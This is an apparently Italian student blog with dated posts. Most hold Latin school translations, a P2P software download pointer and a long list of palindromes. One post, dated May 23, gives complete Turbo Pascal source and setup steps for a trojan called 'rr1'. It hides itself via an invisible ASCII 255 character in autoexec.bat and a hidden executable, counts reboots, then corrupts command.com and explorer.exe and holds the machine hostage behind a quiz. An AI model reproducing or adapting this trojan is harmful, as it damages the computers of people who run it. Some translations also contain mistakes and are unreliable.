|
|
May 30 Ecco la versione di compito per domani!!!Ringrazio quei miei compagni che mi hanno indicato le presenza di questa versione!!! Testo: Bello Latino a consulibus edictum erat ne milites contra hostes extra ordinem pugnarent. Forte T. Manlius, alterius consulis filius, adulescens eximiae formae et virtutis, cum comitibus castris excessit, et omnia loca circum exploravit. Cum autem ad hostium castra accessiset, a praefectu equitum agnitus et ad singulare certamen lacessitus est. Dedecus erat tum pugnam detrectare; itaque Manlius, pudore atque ira impulsus, consulum edicti immemor, cum hoste manus conseruit eumque obtruncavit. Adulescens victor, spoliis necati hostis onustus, cum commilitonibus ovantibus ad castra remeavit; cum autem pater de eventu certior factus esset, extemplo contionem militum advocavit et coram omnibus: "Tu quidem" inquit "T.Manli, cum contra hostem consulum iniussu pugnaveris, et Romam disciplinam solveris, poenam peccati morte luere debes. Triste quidem exemplum, sed valde utile et salubre in posterum erimus". Mox consulis nutu adulescentem securi percussit. Traduzione: Nella guerra latina era stato proclamato dai consoli che i soldati non combattessero contro il nemico senza l'ordine. Per caso Manlio, figlio dell'altro console, giovan di esimio aspetto e virtù, uscendo dall'accampamento con i compagni, fu chiamato dal prefetto dei cavalieri e fu sfidato ad un singolare duello. Era vergognoso allora rifiutare il duello, e così Manlio, spinto dal pudore e dall'ira, immemore dell'editto dei consoli, lottò con il nemico e lo sconfisse. Il giovane vincitore, pieno delle spoglie del nemico ucciso, tornò all'accampamento con i compagni che esultavano, essendo stato il padre informato di quello che era suc*****, convocò l'assemblea dei soldati e verso tutti disse: tu, Manlio, hai combattuto il nemico senza l'ordine dei consoli, e hai infranto la disciplina romana, devi pagare la pena con la morte. Saremo un triste esempio ma molto utile e sano ai posteri. Così (nutu) del console percosse il giovane con la scure. by  May 26 Ecco la migliore versione del programma P2P più veloce di tutti che gira su XP ma se la cava pure su vista!!!! Questa è la versione vecchia ma la migliora fidatevi!!! Download BearShare Lite from FileHippo.com Cliccate sul link per scaricare la versione migliore!!! by May 23 Ecco la sequenza di comandi per creare un programma nocivo alla salute del pc con TurboPascal ! il materiale ha solo scopo informativo!Astenersi lamers e perditempo! I cavalli di troia sono programmi che una volta lanciati danneggiano in qualche modo il computer, spesso formattano l'hard disk o cancellano files alla rinfusa. Per creare un cavallo di troia non è necessario essere dei programmatori eccezionali e se si ha un po' di fantasia non e' necessario conoscere l'assembler. Il virus rr1 e' nella fattispecie un trojan horse scritto in pascal, un linguaggio facile e che spesso viene insegnato a scuola; rr1 e' un t.h. ma a differenza di molti altri non agisce subito ma aspetta che si riavvii il computer 5 volte. Il modo col quale renderlo operativo e' semplice: per prima cosa e' necessario modificare un file bat in un disketto (magari quello che installa un gioco), dal PROMPT DI DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome del file bat, andare a capo, tenere premuto il tasto alt e scrivere dal tastierino numerico 255 quindi rilasciare alt, in questo modo avete inserito nel file bat il carattere ascii 255 che è invisibile. ECCO IL PROGRAMMA: program rr1; uses DOS,CRT; type conta=file of integer; type autoexec=file of char; var i,copy,risp2,invio:char; auto,zone,gruppo,command,explorer:autoexec; volte:conta; harddisk:string[16]; dischetto:string[5]; j,contatore:integer; risp:string[10]; procedure fallito; begin write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!'); DELAY(2000); HALT; END; begin invio:=chr(13); j:=0; i:=chr(255); {il carattere ASCII 255 e' invisibile} assign(auto,'c:\autoexec.bat'); reset (auto); assign(volte,'c:\windows\group.txt'); repeat read(auto,copy); if copy=i then j:=1; until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto} if j<> 1 then begin {se non lo e'} seek(auto,filesize(auto)); {aggiungo un invio} write(auto,invio); {e il carattere 255} invio:=char(10); write(auto,invio); write (auto,i); {nell' autoexec.bat} close (auto); harddisk:='c:\windows\.exe'; {copio il virus su hd} dischetto:='.exe'; insert(i,harddisk,12); insert(i,dischetto,1); assign(zone,dischetto); assign(gruppo,harddisk); reset(zone); rewrite(gruppo); repeat read(zone,copy); write(gruppo,copy); until eof(zone); close (zone); close(gruppo); rewrite(volte); {creo il contatore} write(volte,j); close(volte); SetFAttr(gruppo,Hidden); {nascondo il virus} end; reset (volte); read(volte,contatore); reset(volte); contatore:=contatore+1; write(volte,contatore); close(volte); reset(volte); read(volte,contatore); if contatore=4 then begin {contatore=4=crack} assign(command,'c:\command.com'); assign(explorer,'c:\windows\explorer.exe'); reset(command); reset(explorer); read(explorer,copy); copy:=char(ord(copy)+2); {aggiungo 2 al primo } reset(explorer); write(explorer,copy); {carattere di } read(command,copy); {command.com ed } copy:=char(ord(copy)+2); {explorer.exe } reset (command); write (command,copy); close (command); close (explorer); CLRSCR; WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.'); WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.'); GOTOXY(1,5); WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS'); WRITELN('SE NON LO FARAI...PEGGIO PER TE'); WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI '); WRITELN('SBAGLIARE'); DELAY(2500); {ritarda qualche secondo } READKEY; {per evitare che uno prema} CLRSCR; {un tasto per sbaglio } {QUESTO INVECE E' L'HACK QUIZ} REPEAT WRITELN('Qual'' e' il nome di Mitnick?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin') THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!'); CLRSCR; DELAY(1500); END ELSE FALLITO; WRITELN(''); REPEAT WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix') THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.'); CLRSCR; DELAY(1500); END ELSE FALLITO; WRITELN(''); REPEAT WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='COM') OR (risp='Com') OR (RISP='com') THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS'); CLRSCR; DELAY(1500); END ELSE FALLITO; {CON QUESTO METTO TUTTO A POSTO} reset(command); reset(explorer); read(explorer,copy); copy:=char(ord(copy)-2); {tolgo 2 al primo } reset(explorer); {carattere di } write(explorer,copy); {command.com ed } read(command,copy); {explorer.exe } copy:=char(ord(copy)-2); reset (command); write (command,copy); close (command); close (explorer); end; end. by May 14 TeSTO: Atticus in re publica ita se gessit ,ut numquam se civilibus fluctibus commiteret.honores non petiit,quamvis ei paterent propter vel gratiam vel dignitatem. ad hastam publicam numquam interfuit,neminem accusavit,nullum iudicium ipse habuit.Nec solum dignitati serviebat,sed etiam tranquillitati ,quia suspiciones quoque criminum vitare cupiebat. elegans erat, non magnificus; splendidus, non sumptuosus,omnisque eius diligentia munditiam ,non affluentiam effectabat. supellex nec nimis exigua nec copiosa,et eius generis ut non exquisitior neve modestior appareret. domum suam homines omnium ordinum invitabat magna cum liberalitate,sed sine nimio sumptu. de pietate autem Attici hoc dicam:nec cum matre nec cum sorore,quam prope aequalem habebat,fuit umquam in simultate;nulla umquam inter eos querimonia intercessit et ea fuit in suos indulgentia,ut numquam suscenseret eis. neque id fecit natura solum,sed etiam doctrina:nam philosophorum ita praeceptis assensit,ut ea adhiberet ad vitam. Traduzione: Attenzione questa versione è solo in parte simile a quella del cotidie legere quindi controllate. Nello Stato Attico s'è comportato in modo tale,che nn s'immischiava mai ai flutti/ondeggiamenti civili.Nn desiderò gli onori politici,sebbene gli si aprissero (offrissero) o per favore o per meritevolezza. NN prese mai parte ad 1 processo pubblico, nn accusô nessuno, egli stesso nn ebbe nessun giudizio/richiamo di fronte al tribunale. NN soltanto era devoto alla dignità,ma anche alla tranquillità,poiché desiderava anche evitare sospetti d crimini. Era elegante, (ma)nn esagerato;splendido,(ma) non pomposo,e tutta la sua diligenza aveva come effetto pulizia/raffiantezza,nn abbondanza/eccesso. Il suppellettile nn (fu) né troppo scarso né troppo abbondante, e di genere tale che nn apparisse troppo ricercato/esagerato né troppo modesto. a casa sua invitava uomini d tutti i ceti cn grande disponibilità/gentilezza,ma senza il più piccolo sfarzo. Ma ciò dirò sulla rispetto/devozione (famigliare) d Attico:né cn la sorella,né cn la madre nn aveva un eguale il più vicino possibile, nn fu mai in rancore/risentimento;nn capitò mai 1 dissapore/lamentela fra di loro e l'indulgenza nei loro confronti fu tale che nn s'adirava mai cn loro. Nn fece ciò soltanto x natura ma anke x educazione:infatti prestò attenzione ai precetti dei filosofi in modo tale da usare quelle cose x la vita.
By  May 10 Ecco le parole palindrome: Acca Adda Aerea Ala Alla Ama (voce del verbo amare) Anna Anilina Aoxomoxoa Aveva (voce del verbo avere) Avallava (voce del verbo avallare) Ebbe (voce del verbo avere) Effe Elle Emme Enne Ere Ereggere Esse Erre Esose Ingegni Issi (voce del verbo issare) Kayak Motom (marca di moto) Non Ogopogo (una sorta di mostro di Loch Ness canadese) Oidio (malattia delle piante) Onorarono (voce del verbo onorare) Oro Ossesso Osso Otto Pop Radar Saippuakivikauppias (in finlandese, "venditore di lisciva": è la parola palindroma (19 lettere) più lunga del mondo) Sixaxis Sugus (marca di caramelle) Umufumu (stregone africano) Yamamay (marca di vestiti) Ecco una serie di frasi: - Accavalla denari, tirane dalla vacca (Primo Levi, Calore vorticoso)
- Adirati se non eri là, si credeva amassi l'orpello fine. Ivi divieni folle, prolissa. Ma a vederci salire non esitar, Ida. (Salvatore Spampinato)
- A dosi di soda
- Ah come libare sì miserabile Mocha? (Anacleto Bendazzi, a proposito di un caffè cattivo)
- Ai lati d'Italia
- Alla bisogna tango si balla
- Alle carte t'alleni nella tetra cella
- Allibì Sibilla
- All'Unione i due feudi, e noi nulla
- Ameni cinema
- Ameno fonema
- Amore Roma
- Andom a Modna (in lingua emiliano-romagnola, andiamo a Modena)
- Aneli mai a ballar, esser alla baia, Milena?
- Angela lava la legna
- Anita lava la tina
- Anna ama Otto e Otto ama Anna
- Annoda l'alluce e culla la donna
- Annoda la mala donna (Elmyr Lucreaux, Bondage)
- Arca sacra
- Ares, è sera!
- A Roma trasalì la sarta mora
- Arte tetra
- Assalir i mici mi rilassa
- À tema la nave solo s'è vana la mèta
- Attici di città
- A tirare era rita
- À tre bi Libertà
- A valle, tra masse ebre, la nera, l'accesa d'ira Etna ti moveva; l'Etna gigante, lave vomitante. Arida secca l'arena, l'erbe essa martellava.
- Avaro re perorava (JJFlash1893)
- Avida di vita, desiai ogni amore vero, ma ingoiai sedativi, da diva
- Ebro è Otel, ma Amleto è orbe (Arrigo Boito)
- Ella va a valle (Fabrizio Ulivi)
- È cane tenace
- È Dio lo gnomo mongoloide
- E' re di Roma e amo ridere (Fabrizio Ulivi)
- Ed Irene se ne ride
- E poi Martina lavava l'anitra miope (Marco Buratti)
- E io noemi, rime o noie?
- È fedel non lede fè / e Madonna annoda me (Arrigo Boito, dedica di accompagnamento al dono di un anello offerto ad Eleonora Duse)
- E la mafia sai fa male
- E la sete sale
- E le mie sei mele?
- E noi sull'illusione...
- En giro torte sol ciclos et rotor igne (in latino, iscrizione sul pavimento del battistero di San Giovanni a Firenze)
- E' presa la serpe
- Er botto d'ottobre
- Era donna, ama annodare
- E' sera, va' a Varese
- Etna gigante
- Figa, la gif! (figa in senso di bella)
- If I had a Hi-Fi (in inglese, "Se avessi un (impianto) Hi-Fi")
- In amor, io, diffido i Romani
- In girum imus nocte, ecce, et consumimur igni (in latino, "Andiamo in giro di notte, ecco, e siamo consumate dal fuoco") E' un indovinello. Chi siamo? Le Fiaccole!
- In Italia esso fece fosse ai Latini
- Io voglio re pepe per oìlgo, voi?
- I ceci
- I cigolii logici
- I nasi sani
- Isèr inerti aveva i treni resi.
- Iside ci dice di sì
- "Italia a sé fida i puri rami d'alloro, corolla di mari, rupi a difesa ai lati."
- I tipici bicipiti.
- I topi non avevano nipoti
- I treni inerti
- I tropici, mamma! Mi ci porti?
- o galli, il lago?
- Madam, I'm Adam (in inglese, l'ipotetica prima frase di un essere umano: "Signora, sono Adamo")
- Νίψον ανομήματα μη μόναν όψιν (famoso palindromo in lingua greca che significa "lava i (miei) peccati, non soltanto la faccia"; si tratta di un'iscrizione cristiana incisa sopra le fonti di diverse chiese tra cui la basilica di Hagia Sophia a Istanbul)
- Occorre portar aratro per Rocco
- "Ogni mare onorò Noè ramingo"
- O magre bidelle di bergamo
- O mordo tua nuora, o aro un autodromo
- Ora baro
- Ora diverrò Tal e la torre vi darò (Marco Buratti. Tal' fu un campione mondiale di scacchi famoso per il suo gioco imprevedibile)
- Osiride ci darà radice di riso
- Roma tibi subito motibus ibit amor (in latino)
- Sator arepo tenet opera rotas (il famoso quadrato del Sator)
- Soli silos
- Uomo o acacia (miel)? Ah! Ha lei mai cacao o mou? (Fabrizio Ulivi)
- A man, a plan, a canal: Panama
- E vivi solo, sai, vero? Ma odi dame radiative? Odi legami di veleno, boia? Ugo vien a mirare seno e reni ... colei: "Cadra' Ugo?" Guarda, cielo cinereo, ne' sera rimane ... Ivo, guaio! Bone le vidi, ma gelido evitai dare madido amor, e via! Solo, si vive.
- E lo sopporti pure martiri papaia papiri tram e rupi troppo sole. (Lorenzo Sebastiani)
- Ai re lava valeria
- Etna Gigante
- by

Per la serie FALEPEDIA sparane un' altra... Il nostro coetaneo sostiene di essere l inventore di un complesso Palindromo che tutti saprete essere una parola o serie di parole leggibili anche al contrario senza variare il significato...... "I TOPI NON AVEANO NIPOTI" è per l appunto il palindromo di cui faletti si vanta di avere pensato...........ecco la prova che lo inchioda! cliccando su quest'immagine di un anno fa vedrete bene che la frase di cui vanta la paternità eè il polindromo per eccellenza! Quini fra le cazzate mai sparate da quest uomo questa è fra le più grosse!!!!!!!!!!!!! by  May 08 TESTO: Arachne puella Lydia erat non gentis nobilitate clarà,sed arte:nam telas summo artificio texebat atque pingebat.Ut eius opera aspicerent,nymphae ipsae saepe silvas fontesque relinquebant et ad eam accedebant.Sed puella etiam superbissima erat:"Pallas ipsa;saepe dicebat,"mecum certet:facile vincam.Ut haec audivit,Pallas anus cuiusdam figuram vestemque sumpsit et ad arachnem venit: primum illam monuit ut maxima laude inter mortales contenta esset,deae autem cederet.At illa superbe:"haud dubie ob senectutem mentis non compos es;si qua tibi filia aut nurus est,ea ista verba audiat:nam mea arte etiam Palladem superare constitui".Tum Pallas anus faciem reliquit ac divinam naturam potentiamque detexit:colu puellae frontem percussit,corpus funesto medicamine conspersit.Statim Arachne araneae speciem assumit TRADUZIONE : In Lidia viveva Aracne una fanciulla famosa non per nobiltà di stirpe, ma per arte: infatti tesseva e dipingeva con somma perizia le tele. Per vedere le sue opere, le Ninfe stesse spesso lasciavano le fonti e i boschi e le si avvicinavano. Ma la fanciulla era anche molto superba: "La stessa Pallade, spesso diceva, gareggerà con me e io la vincerò!". Poichè ascoltò queste cose, Pallade assunse la veste e le sembianze di una vecchia e andò da Aracne: per prima cosa la rimproverò di tenere a bada il suo grande pregio tra i mortali e di arrendersi alla dea. Ma quella superbamente:" Senza dubbio tu non sei paragonabile per la vecchiaia della mente, se quella è tua figlia o tua nuora, questa stessa ascolti queste parole:infatti con la mia arte io so di vincere Pallade!" Allora Pallade lasciò l'aspetto da vecchia e riassunse la natura potente e divina: percosse con una conocchia la fanciulla, cosparse il corpo con un medicamento funesto. Così subito Aracne assunse le sembianze di un ragno.
by 
|